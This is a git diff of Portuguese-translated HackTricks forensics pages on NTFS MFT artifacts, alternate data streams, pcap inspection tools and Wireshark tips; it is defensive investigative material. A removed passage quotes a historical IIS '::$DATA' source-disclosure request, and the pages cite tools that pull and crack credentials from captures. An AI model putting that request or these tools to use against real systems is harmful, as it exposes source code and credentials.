+| Volume | $Volume | 3 | Contém informações sobre o volume, como o rótulo do volume e a versão do volume. |
+| Definições de atributos | $AttrDef | 4 | Uma tabela de nomes, números e descrições de atributos. |
+| Índice de nomes de arquivos raiz | $ | 5 | A pasta raiz. |
+| Mapa de bits do cluster | $Bitmap | 6 | Uma representação do volume mostrando quais clusters estão em uso. |
+| Setor de boot | $Boot | 7 | Inclui o BPB usado para montar o volume e código adicional do carregador de bootstrap usado se o volume for inicializável. |
+| Arquivo de cluster ruim | $BadClus | 8 | Contém clusters ruins para o volume. |
+| Arquivo de segurança | $Secure | 9 | Contém descritores de segurança únicos para todos os arquivos dentro de um volume. |
+| Tabela de maiúsculas | $Upcase | 10 | Converte caracteres minúsculos para caracteres Unicode maiúsculos correspondentes. |
+| Arquivo de extensão do NTFS | $Extend | 11 | Usado para várias extensões opcionais, como cotas, dados de ponto de reanálise e identificadores de objeto. |
+| | | 12-15 | Reservado para uso futuro. |
+| Arquivo de gerenciamento de cota | $Quota | 24 | Contém limites de cota atribuídos pelo usuário no espaço do volume. |
+| Arquivo de ID de objeto | $ObjId | 25 | Contém IDs de objeto de arquivo. |
+| Arquivo de ponto de reanálise | $Reparse | 26 | Este arquivo contém informações sobre arquivos e pastas no volume, incluindo dados de ponto de reanálise. |
+
+### Cada entrada da MFT parece com o seguinte:
+
+![](<../../../.gitbook/assets/image (499).png>)
+
+Note como cada entrada começa com "FILE". Cada entrada ocupa 1024 bits. Então, após 1024 bits do início de uma entrada da MFT, você encontrará a próxima.
+
+Usando o [**Active Disk Editor**](https://www.disk-editor.org/index.html) é muito fácil inspecionar a entrada de um arquivo na MFT. Basta clicar com o botão direito no arquivo e depois clicar em "Inspect File Record"
+
+![](<../../../.gitbook/assets/image (500).png>)
+
+![](<../../../.gitbook/assets/image (501).png>)
+
+Verificando a flag **"In use"** é muito fácil saber se um arquivo foi deletado (um valor de **0x0 significa deletado**).
+
+![](<../../../.gitbook/assets/image (510).png>)
+
+Também é possível recuperar arquivos deletados usando o FTKImager:
+
+![](<../../../.gitbook/assets/image (502).png>)
+
+### Atributos da MFT
+
+Cada entrada da MFT tem vários atributos como a seguinte imagem indica:
+
+![](<../../../.gitbook/assets/image (506).png>)
+
+Cada atributo indica alguma informação da entrada identificada pelo tipo:
+
+| Identificador do Tipo | Nome | Descrição |
+| --------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------- |
+| 16 | $STANDARD\_INFORMATION | Informações gerais, como flags; os últimos tempos acessados, escritos e criados; e o ID do proprietário e de segurança. |
+| 32 | $ATTRIBUTE\_LIST | Lista onde outros atributos para um arquivo podem ser encontrados. |
+| 48 | $FILE\_NAME | Nome do arquivo, em Unicode, e os últimos tempos acessados, escritos e criados. |
+| 64 | $VOLUME\_VERSION | Informações do volume. Existe apenas na versão 1.2 (Windows NT). |
+| 64 | $OBJECT\_ID | Um identificador único de 16 bytes para o arquivo ou diretório. Existe apenas nas versões 3.0+ e posteriores (Windows 2000+). |
+| 80 | $SECURITY\_ DESCRIPTOR | As propriedades de controle de acesso e segurança do arquivo. |
+| 96 | $VOLUME\_NAME | Nome do volume. |
+| 112 | $VOLUME\_ INFORMATION | Versão do sistema de arquivos e outras flags. |
+| 128 | $DATA | Conteúdo do arquivo. |
+| 144 | $INDEX\_ROOT | Nó raiz de uma árvore de índice. |
+| 160 | $INDEX\_ALLOCATION | Nós de uma árvore de índice enraizada no atributo $INDEX\_ROOT. |
+| 176 | $BITMAP | Um bitmap para o arquivo $MFT e para índices. |
+| 192 | $SYMBOLIC\_LINK | Informações de link simbólico. Existe apenas na versão 1.2 (Windows NT). |
+| 192 | $REPARSE\_POINT | Contém dados sobre um ponto de reanálise, que é usado como um link simbólico na versão 3.0+ (Windows 2000+). |
+| 208 | $EA\_INFORMATION | Usado para compatibilidade com aplicações do OS/2 (HPFS). |
+| 224 | $EA | Usado para compatibilidade com aplicações do OS/2 (HPFS). |
+| 256 | $LOGGED\_UTILITY\_STREAM | Contém chaves e informações sobre atributos criptografados na versão 3.0+ (Windows 2000+). |
+
+Por exemplo, o **tipo 48 (0x30)** identifica o **nome do arquivo**:
+
+![](<../../../.gitbook/assets/image (508).png>)
+
+Também é útil entender que **esses atributos podem ser residentes** (ou seja, existem dentro de um determinado registro da MFT) ou **não residentes** (ou seja, existem fora de um determinado registro da MFT, em outro lugar no disco, e são simplesmente referenciados dentro do registro). Por exemplo, se o atributo **$Data for residente**, isso significa que o **arquivo inteiro está salvo na MFT**, se for não residente, então o conteúdo do arquivo está em outra parte do sistema de arquivos.
+
+Alguns atributos interessantes:
+
+* [$STANDARD\_INFORMATION](https://flatcap.org/linux-ntfs/ntfs/attributes/standard\_information.html) (entre outros):
+* Data de criação
+* Data de modificação
+* Data de acesso
+* Data de atualização da MFT
+* Permissões de arquivo do DOS
+* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html) (entre outros):
+* Nome do arquivo
+* Data de criação
+* Data de modificação
+* Data de acesso
+* Data de atualização da MFT
+* Tamanho alocado
+* Tamanho real
+* [Referência de arquivo](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html) para o diretório pai.
+* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (entre outros):
+* Contém os dados do arquivo ou a indicação dos setores onde os dados residem. No exemplo a seguir, o atributo de dados não é residente, então o atributo fornece informações sobre os setores onde os dados residem.
+
+![](<../../../.gitbook/assets/image (507) (1) (1).png>)
+
+![](<../../../.gitbook/assets/image (509).png>)
+
+### Carimbos de data e hora do NTFS
![](<../../../.gitbook/assets/image (512).png>)
-Outra ferramenta útil para analisar o MFT é o [**MFT2csv**](https://github.com/jschicht/Mft2Csv) (selecione o arquivo MFT ou a imagem e pressione dump all e extract para extrair todos os objetos).\
-Este programa extrairá todos os dados do MFT e apresentará em formato CSV. Ele também pode ser usado para despejar arquivos.
+Outra ferramenta útil para analisar a MFT é [**MFT2csv**](https://github.com/jschicht/Mft2Csv) (selecione o arquivo mft ou a imagem e pressione dump all e extract para extrair todos os objetos).\
+Este programa extrairá todos os dados da MFT e os apresentará em formato CSV. Também pode ser usado para despejar arquivos.
![](<../../../.gitbook/assets/image (513).png>)
### $LOGFILE
-O arquivo **`$LOGFILE`** contém **logs** sobre as **ações** que foram **realizadas** **em** **arquivos**. Ele também **salva** a **ação** que precisaria ser executada em caso de um **refazer** e a ação necessária para **voltar** ao **estado** **anterior**.\
-Esses logs são úteis para o MFT reconstruir o sistema de arquivos caso ocorra algum tipo de erro. O tamanho máximo deste arquivo é de **65536KB**.
+O arquivo **`$LOGFILE`** contém **logs** sobre as **ações** que foram **realizadas** **em** **arquivos**. Ele também **salva** a **ação** que precisaria ser realizada em caso de um **refazer** e a ação necessária para **voltar** ao **estado** **anterior**.\
+Esses logs são úteis para a MFT reconstruir o sistema de arquivos em caso de algum tipo de erro. O tamanho máximo deste arquivo é **65536KB**.
-Para inspecionar o `$LOGFILE`, você precisa extrair e inspecionar o `$MFT` anteriormente com o [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\
-Em seguida, execute o [**LogFileParser**](https://github.com/jschicht/LogFileParser) neste arquivo e selecione o arquivo `$LOGFILE` exportado e o CVS da inspeção do `$MFT`. Você obterá um arquivo CSV com os logs da atividade do sistema de arquivos registrados pelo log `$LOGFILE`.
+Para inspecionar o `$LOGFILE`, você precisa extraí-lo e inspecionar o `$MFT` previamente com [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\
+Em seguida, execute [**LogFileParser**](https://github.com/jschicht/LogFileParser) contra este arquivo e selecione o arquivo `$LOGFILE` exportado e o CVS da inspeção do `$MFT`. Você obterá um arquivo CSV com os logs da atividade do sistema de arquivos registrados pelo log `$LOGFILE`.
![](<../../../.gitbook/assets/image (515).png>)
-Filtrando por nomes de arquivos, você pode ver **todas as ações realizadas em relação a um arquivo**:
+Filtrando por nomes de arquivos, você pode ver **todas as ações realizadas contra um arquivo**:
![](<../../../.gitbook/assets/image (514).png>)
### $USNJnrl
-O arquivo `$EXTEND/$USNJnrl/$J` é um fluxo de dados alternativo do arquivo `$EXTEND$USNJnrl`. Este artefato contém um **registro de alterações produzidas dentro do volume NTFS com mais detalhes do que `$LOGFILE`**.
-
-Para inspecionar este arquivo, você pode usar a ferramenta [**UsnJrnl2csv**](https://github.com/jschicht/UsnJrnl2Csv).
-
-Filtrando pelo nome do arquivo, é possível ver **todas as ações realizadas em relação a um arquivo**. Além disso, você pode encontrar a `MFTReference` na pasta pai. Em seguida, olhando para essa `MFTReference`, você pode encontrar **informações da pasta pai**.
-
-![](<../../../.gitbook/assets/image (516).png>)
-
-### $I30
-
-Cada **diretório** no sistema de arquivos contém um **atributo `$I30`** que deve ser mantido sempre que houver alterações no conteúdo do diretório. Quando arquivos ou pastas são removidos do diretório, os registros do índice `$I30` são reorganizados de acordo. No entanto, **a reorganização dos registros do índice pode deixar remanescentes da entrada de arquivo/pasta excluída dentro do espaço livre**. Isso pode ser útil na análise forense para identificar arquivos que podem ter existido no disco.
-
-Você pode obter o arquivo `$I30` de um diretório do **FTK Imager** e inspecioná-lo com a ferramenta [Indx2Csv](https://github.com/jschicht/Indx2Csv).
-
-![](<../../../.gitbook/assets/image (519).png>)
-
-Com esses dados, você pode encontrar **informações sobre as alterações de arquivos realizadas dentro da pasta**, mas observe que o tempo de exclusão de um arquivo não é salvo dentro deste log. No entanto, você pode ver que a **última data modificada** do arquivo **`$I30`**, e se a **última ação realizada** sobre o diretório é a **exclusão** de um arquivo, os tempos podem ser os mesmos.
-
-### $Bitmap
-
-O **`$BitMap`** é um arquivo especial dentro do sistema de arquivos NTFS. Este arquivo mantém **o controle de todos os clusters usados e não utilizados** em um volume NTFS. Quando um arquivo ocupa espaço no volume NTFS, a localização usada é marcada no `$BitMap`.
-
-![](<../../../.gitbook/assets/image (523).png>)
-
-### ADS (fluxo de dados alternativo)
-
-Fluxos de dados alternativos permitem que os arquivos contenham mais de um fluxo de dados. Todo arquivo tem pelo menos um fluxo de dados. No Windows, este fluxo de dados padrão é chamado de `:$DATA`.\
-Nesta [página, você pode ver diferentes maneiras de criar/acessar/descobrir fluxos de dados alternativos](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) do console. No passado, isso causou uma vulnerabilidade no IIS, pois as pessoas conseguiam acessar o código-fonte de uma página acessando o fluxo `:$DATA` como `http://www.alternate-data-streams.com/default.asp::$DATA`.
-
-Usando a ferramenta [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html), você pode pesquisar e exportar todos os arquivos com algum ADS.
-
-![](<../../../.gitbook/assets/image (518).png>)
-
-Usando o FTK imager e clicando duas vezes em um arquivo com ADS, você pode **acessar os dados do ADS**:
-
-![](<../../../.gitbook/assets/image (517).png>)
-
-Se você encontrar um ADS chamado **`Zone.Identifier`** (veja a imagem acima), isso geralmente contém **informações sobre como o arquivo foi baixado**. Haveria um campo "ZoneId" com as seguintes informações:
-
-* Zone ID = 0 -> Meu computador
-* Zone ID = 1 -> Intranet
-* Zone ID = 2 -> Confiável
-* Zone ID = 3 -> Internet
-* Zone ID = 4 -> Não confiável
-
-Além disso, diferentes softwares podem armazenar informações adicionais:
-
-| Software | Informação |
-| ------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
-| Google Chrome, Opera, Vivaldi, | ZoneId=3, ReferrerUrl, HostUrl |
-| Microsoft Edge | ZoneId=3, LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe |
-| Firefox, Tor browser, Outlook2016, Thunderbird, Windows Mail, Skype | ZoneId=3 |
-| μTorrent | ZoneId=3, HostUrl=about:internet |
-
-
-
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
-
-
+O arquivo `$EXTEND/$USNJnrl/$J` é um fluxo de dados alternativo do arquivo `$EXTEND$USNJnrl`. Este artefato contém um **registro de mudanças produzidas dentro do volume NTFS com mais detalhes do que `$LOGFILE`**.
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md
index 6922af584..a4f2218a6 100644
--- a/forensics/basic-forensic-methodology/pcap-inspection/README.md
+++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md
@@ -2,13 +2,15 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -19,34 +21,34 @@
{% embed url="https://www.rootedcon.com/" %}
{% hint style="info" %}
-Uma observação sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais recente e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, para trabalhar com ele em outras ferramentas.
+Uma nota sobre **PCAP** vs **PCAPNG**: existem duas versões do formato de arquivo PCAP; **PCAPNG é mais recente e não é suportado por todas as ferramentas**. Você pode precisar converter um arquivo de PCAPNG para PCAP usando o Wireshark ou outra ferramenta compatível, para poder trabalhar com ele em algumas outras ferramentas.
{% endhint %}
## Ferramentas online para pcaps
* Se o cabeçalho do seu pcap estiver **corrompido**, você deve tentar **corrigi-lo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
* Extraia **informações** e procure por **malware** dentro de um pcap em [**PacketTotal**](https://packettotal.com)
-* Procure por **atividade maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
+* Procure por **atividades maliciosas** usando [**www.virustotal.com**](https://www.virustotal.com) e [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
-## Extrair informações
+## Extrair Informações
As seguintes ferramentas são úteis para extrair estatísticas, arquivos, etc.
### Wireshark
{% hint style="info" %}
-**Se você for analisar um PCAP, basicamente deve saber como usar o Wireshark**
+**Se você vai analisar um PCAP, basicamente precisa saber como usar o Wireshark**
{% endhint %}
-Você pode encontrar alguns truques do Wireshark em:
+Você pode encontrar algumas dicas do Wireshark em:
{% content-ref url="wireshark-tricks.md" %}
[wireshark-tricks.md](wireshark-tricks.md)
{% endcontent-ref %}
-### Framework Xplico
+### Xplico Framework
-[**Xplico** ](https://github.com/xplico/xplico)_(somente linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, a partir de um arquivo pcap, o Xplico extrai cada e-mail (protocolos POP, IMAP e SMTP), todo o conteúdo HTTP, cada chamada VoIP (SIP), FTP, TFTP e assim por diante.
+[**Xplico**](https://github.com/xplico/xplico) _(apenas linux)_ pode **analisar** um **pcap** e extrair informações dele. Por exemplo, de um arquivo pcap, o Xplico extrai cada email (protocolos POP, IMAP e SMTP), todos os conteúdos HTTP, cada chamada VoIP (SIP), FTP, TFTP, e assim por diante.
**Instalar**
```bash
@@ -60,48 +62,50 @@ sudo apt-get install xplico
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
-Acesse _**127.0.0.1:9876**_ com as credenciais _**xplico:xplico**_
+Acesso a _**127.0.0.1:9876**_ com credenciais _**xplico:xplico**_
-Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça upload do arquivo pcap**.
+Em seguida, crie um **novo caso**, crie uma **nova sessão** dentro do caso e **faça o upload do arquivo pcap**.
### NetworkMiner
Assim como o Xplico, é uma ferramenta para **analisar e extrair objetos de pcaps**. Possui uma edição gratuita que você pode **baixar** [**aqui**](https://www.netresec.com/?page=NetworkMiner). Funciona com **Windows**.\
-Essa ferramenta também é útil para obter **outras informações analisadas** dos pacotes para saber o que estava acontecendo de uma maneira **mais rápida**.
+Esta ferramenta também é útil para obter **outras informações analisadas** dos pacotes, a fim de saber o que estava acontecendo de uma maneira **mais rápida**.
### NetWitness Investigator
-Você pode baixar o [**NetWitness Investigator aqui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona no Windows)**.\
-Esta é outra ferramenta útil que **analisa os pacotes** e classifica as informações de uma maneira útil para **saber o que está acontecendo dentro**.
+Você pode baixar [**NetWitness Investigator aqui**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona no Windows)**.\
+Esta é outra ferramenta útil que **analisa os pacotes** e organiza as informações de maneira útil para **saber o que está acontecendo internamente**.
![](<../../../.gitbook/assets/image (567) (1).png>)
### [BruteShark](https://github.com/odedshimon/BruteShark)
-* Extrair e codificar nomes de usuário e senhas (HTTP, FTP, Telnet, IMAP, SMTP...)
-* Extrair hashes de autenticação e quebrá-los usando o Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
-* Construir um diagrama visual de rede (Nós e usuários de rede)
+* Extração e codificação de nomes de usuário e senhas (HTTP, FTP, Telnet, IMAP, SMTP...)
+* Extrair hashes de autenticação e quebrá-los usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
+* Construir um diagrama visual da rede (nós de rede & usuários)
* Extrair consultas DNS
-* Reconstruir todas as sessões TCP e UDP
-* Esculpir arquivos
+* Reconstruir todas as sessões TCP & UDP
+* File Carving
+
+### Capinfos
```
capinfos capture.pcap
```
### Ngrep
-Se você está procurando por algo dentro do pcap, pode usar o **ngrep**. Aqui está um exemplo usando os filtros principais:
+Se você está **procurando** por **algo** dentro do pcap, você pode usar **ngrep**. Aqui está um exemplo usando os principais filtros:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
-Usar técnicas comuns de carving pode ser útil para extrair arquivos e informações do pcap:
+Utilizando técnicas comuns de carving, é possível extrair arquivos e informações do pcap:
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
-### Capturando credenciais
+### Captura de credenciais
Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analisar credenciais de um pcap ou de uma interface ao vivo.
@@ -111,11 +115,11 @@ Você pode usar ferramentas como [https://github.com/lgandx/PCredz](https://gith
{% embed url="https://www.rootedcon.com/" %}
-## Verificar exploits/malware
+## Verificar Exploits/Malware
### Suricata
-**Instalação e configuração**
+**Instalar e configurar**
```
apt-get install suricata
apt-get install oinkmaster
@@ -131,14 +135,14 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) é uma ferramenta que
* Lê um arquivo PCAP e extrai fluxos Http.
-* Descomprime qualquer fluxo comprimido com gzip
-* Analisa cada arquivo com yara
-* Escreve um relatório.txt
-* Opcionalmente, salva arquivos correspondentes em um diretório
+* Descomprime quaisquer fluxos comprimidos com gzip
+* Escaneia cada arquivo com yara
+* Escreve um report.txt
+* Opcionalmente salva arquivos correspondentes em um Dir
### Análise de Malware
-Verifique se você pode encontrar alguma impressão digital de um malware conhecido:
+Verifique se você consegue encontrar alguma impressão digital de um malware conhecido:
{% content-ref url="../malware-analysis.md" %}
[malware-analysis.md](../malware-analysis.md)
@@ -146,7 +150,7 @@ Verifique se você pode encontrar alguma impressão digital de um malware conhec
## Zeek
-> Zeek é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
+> Zeek é um analisador de tráfego de rede passivo e de código aberto. Muitos operadores usam o Zeek como um Monitor de Segurança de Rede (NSM) para apoiar investigações de atividades suspeitas ou maliciosas. O Zeek também suporta uma ampla gama de tarefas de análise de tráfego além do domínio de segurança, incluindo medição de desempenho e solução de problemas.
Basicamente, os logs criados pelo `zeek` não são **pcaps**. Portanto, você precisará usar **outras ferramentas** para analisar os logs onde as **informações** sobre os pcaps estão.
@@ -217,7 +221,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
-## Outros truques de análise de pcap
+## Outras dicas de análise de pcap
{% content-ref url="dnscat-exfiltration.md" %}
[dnscat-exfiltration.md](dnscat-exfiltration.md)
@@ -241,12 +245,14 @@ rita show-exploded-dns -H --limit 10 zeek_logs
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
index ffdadbab2..50c44bb47 100644
--- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
+++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md
@@ -1,16 +1,18 @@
-# Dicas do Wireshark
+# Truques do Wireshark
-## Dicas do Wireshark
+## Truques do Wireshark
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
+Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas dicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
+Outras formas de apoiar o HackTricks:
+
+* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -18,72 +20,72 @@
### Tutoriais
-Os seguintes tutoriais são incríveis para aprender alguns truques básicos legais:
+Os seguintes tutoriais são incríveis para aprender alguns truques básicos interessantes:
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
* [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/)
* [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/)
-### Informações analisadas
+### Informações Analisadas
-**Informação de especialista**
+**Informações de Especialistas**
-Clicando em _**Analisar** --> **Informação de especialista**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**:
+Clicando em _**Analyze** --> **Expert Information**_ você terá uma **visão geral** do que está acontecendo nos pacotes **analisados**:
![](<../../../.gitbook/assets/image (570).png>)
-**Endereços resolvidos**
+**Endereços Resolvidos**
